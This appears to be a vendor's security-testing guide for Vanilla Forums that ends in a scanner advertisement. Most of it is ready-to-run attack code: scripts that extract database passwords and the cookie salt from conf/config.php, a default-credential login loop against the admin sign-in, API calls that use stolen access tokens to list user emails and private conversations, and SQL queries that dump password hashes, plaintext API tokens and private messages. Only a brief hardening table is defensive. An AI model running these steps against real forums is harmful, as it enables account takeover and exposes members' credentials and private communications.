Vanilla Forums Security Testing: Default Credentials, API Key, Database, and Forum

Vanilla Forums is a popular open-source community forum platform used by software companies, gaming communities, and enterprises for customer and developer communities. Key assessment areas: conf/config.php exposes MySQL credentials and the application secret; the REST API v2 uses Personal Access Tokens (PATs); GDN_User contains bcrypt password hashes; and GDN_AccessToken contains active API tokens. This guide covers systematic Vanilla Forums security assessment.

Table of Contents

  1. conf/config.php MySQL Credential Extraction
  2. REST API PAT and Admin Credential Assessment
  3. MySQL GDN_User Hash and AccessToken Extraction
  4. Vanilla Forums Security Hardening

conf/config.php MySQL Credential Extraction

# Vanilla Forums — conf/config.php MySQL credential extraction
VANILLA_URL="https://community.example.com"

# conf/config.php — Vanilla Forums database configuration
cat /var/www/vanilla/conf/config.php 2>/dev/null
# $Configuration['Database']['Host'] = 'localhost';
# $Configuration['Database']['Name'] = 'vanilla';
# $Configuration['Database']['User'] = 'vanilla';
# $Configuration['Database']['Password'] = '...';    <-- MySQL database password
# $Configuration['Garden']['Cookie']['Salt'] = '...';  <-- session cookie salt
# $Configuration['Garden']['Cookie']['HashMethod'] = 'md5';

python3 -c "
import re
content = open('/var/www/vanilla/conf/config.php').read()
patterns = {
    'db_password': r\"\\\$Configuration\['Database'\]\['Password'\]\s*=\s*'([^']+)'\",
    'db_user': r\"\\\$Configuration\['Database'\]\['User'\]\s*=\s*'([^']+)'\",
    'db_name': r\"\\\$Configuration\['Database'\]\['Name'\]\s*=\s*'([^']+)'\",
    'cookie_salt': r\"\\\$Configuration\['Garden'\]\['Cookie'\]\['Salt'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test conf/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${VANILLA_URL}/conf/config.php" 2>/dev/null)
echo "conf/config.php: HTTP ${STATUS}"

# Vanilla admin login
for CRED in "admin:admin" "admin@example.com:admin" "admin:vanilla" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${VANILLA_URL}/entry/signin" \
    -d "Email=${USER}&Password=${PASS}&RememberMe=1&Sign+In=Sign+In" \
    -c /tmp/vanilla_c -b /tmp/vanilla_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API PAT and Admin Credential Assessment

# Vanilla Forums REST API — PAT and admin credential assessment
VANILLA_URL="https://community.example.com"

# Vanilla REST API v2 — Personal Access Token (PAT) authentication
# PATs are created in profile settings: Profile > Personal Access Tokens
# Token format: va.{base64-encoded-header}.{signature}

# Test API with extracted PAT
PAT="extracted-personal-access-token"
curl -s "${VANILLA_URL}/api/v2/users/me" \
  -H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'UserID: {d.get(\"userID\")}')
print(f'Name: {d.get(\"name\")}')
print(f'Email: {d.get(\"email\")}')
print(f'Roles: {[r[\"name\"] for r in d.get(\"roles\",[])]}')
" 2>/dev/null

# Enumerate all users (may not require auth on public communities)
curl -s "${VANILLA_URL}/api/v2/users?limit=100&expand=all" \
  -H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Users returned: {len(users) if isinstance(users,list) else \"error\"}')
if isinstance(users,list):
    for u in users[:5]:
        print(f'  {u.get(\"name\")} | {u.get(\"email\")} | roles: {[r[\"name\"] for r in u.get(\"roles\",[])]}')
" 2>/dev/null

# Get private conversations (with admin PAT)
curl -s "${VANILLA_URL}/api/v2/conversations?limit=50&expand=all" \
  -H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Conversations: {len(d) if isinstance(d,list) else \"error\"}')
except: pass
" 2>/dev/null

MySQL GDN_User Hash and AccessToken Extraction

# Vanilla Forums MySQL database — GDN_User hash and AccessToken extraction
DB_PASS="extracted-db-password"

mysql -u vanilla -p"${DB_PASS}" vanilla 2>/dev/null << 'EOF'
-- GDN_User — all users with password hashes
SELECT u.UserID, u.Name, u.Email, u.Password,
       u.HashMethod,     -- 'Vanilla', 'Reset', 'Bcrypt', 'yii', 'Django'
       u.Admin, u.Banned, u.DateInserted, u.DateLastActive
FROM GDN_User u
WHERE u.Deleted = 0
ORDER BY u.UserID
LIMIT 20;
-- Admin = 1: full platform administrator
-- HashMethod 'Vanilla': legacy Vanilla hash
-- HashMethod 'Bcrypt': modern bcrypt ($2y$)

-- Admin users
SELECT u.UserID, u.Name, u.Email, u.Password, u.HashMethod
FROM GDN_User u
WHERE u.Admin = 1 AND u.Deleted = 0;

-- Active Personal Access Tokens (REST API authentication)
SELECT t.AccessTokenID, t.Token, t.Scope,
       t.DateExpires, t.Attributes,
       u.Name, u.Email, u.Admin
FROM GDN_AccessToken t
JOIN GDN_User u ON u.UserID = t.UserID
WHERE t.DateExpires IS NULL OR t.DateExpires > NOW()
ORDER BY t.DateExpires DESC
LIMIT 20;
-- Token: plaintext PAT for REST API authentication

-- Private conversations (DMs between users)
SELECT cm.ConversationMessageID,
       u_from.Name as sender,
       u_to.Name as recipient,
       LEFT(cm.Body, 200) as message_preview,
       cm.DateInserted
FROM GDN_ConversationMessage cm
JOIN GDN_UserConversation uc ON uc.ConversationID = cm.ConversationID
JOIN GDN_User u_from ON u_from.UserID = cm.InsertUserID
JOIN GDN_User u_to ON u_to.UserID = uc.UserID
WHERE u_to.UserID != cm.InsertUserID
ORDER BY cm.DateInserted DESC
LIMIT 20;
EOF

Vanilla Forums Security Hardening

Vanilla Forums Security Hardening Checklist:
Security TestMethodRisk
conf/config.php MySQL Password and cookie salt extractionRead /var/www/vanilla/conf/config.php — database credentials and Garden.Cookie.Salt session signing key for session token forgeryCritical
GDN_AccessToken plaintext PAT Bearer token extractionMySQL SELECT Token FROM GDN_AccessToken WHERE Admin users — plaintext Personal Access Tokens; full REST API access at admin permission levelHigh
Admin credential brute-force (admin/admin)POST /entry/signin — admin session; full dashboard access, plugin installation, user management, database backupHigh
GDN_User bcrypt and legacy hash extractionMySQL SELECT Password, HashMethod FROM GDN_User — bcrypt for modern users; legacy Vanilla/yii hashes for older accounts; admin (Admin=1) hash extraction enables full platform takeoverHigh
GDN_ConversationMessage private message enumerationMySQL SELECT Body FROM GDN_ConversationMessage — all private direct messages between community members; sensitive user communicationsMedium

Automate Vanilla Forums Security Testing

Ironimo tests Vanilla Forums deployments for conf/config.php MySQL database password and Garden.Cookie.Salt web exposure, /conf/ directory PHP file access protection, admin/admin credential brute-force at /entry/signin, GDN_User bcrypt and legacy password hash extraction, Admin=1 administrator identification, GDN_AccessToken plaintext PAT Bearer token enumeration (no-expiry tokens), REST API /api/v2/users unauthenticated email enumeration, GDN_ConversationMessage private message access, Vanilla version disclosure for CVE targeting, and SSO OAuth application secret extraction from conf/config.php.

Start free scan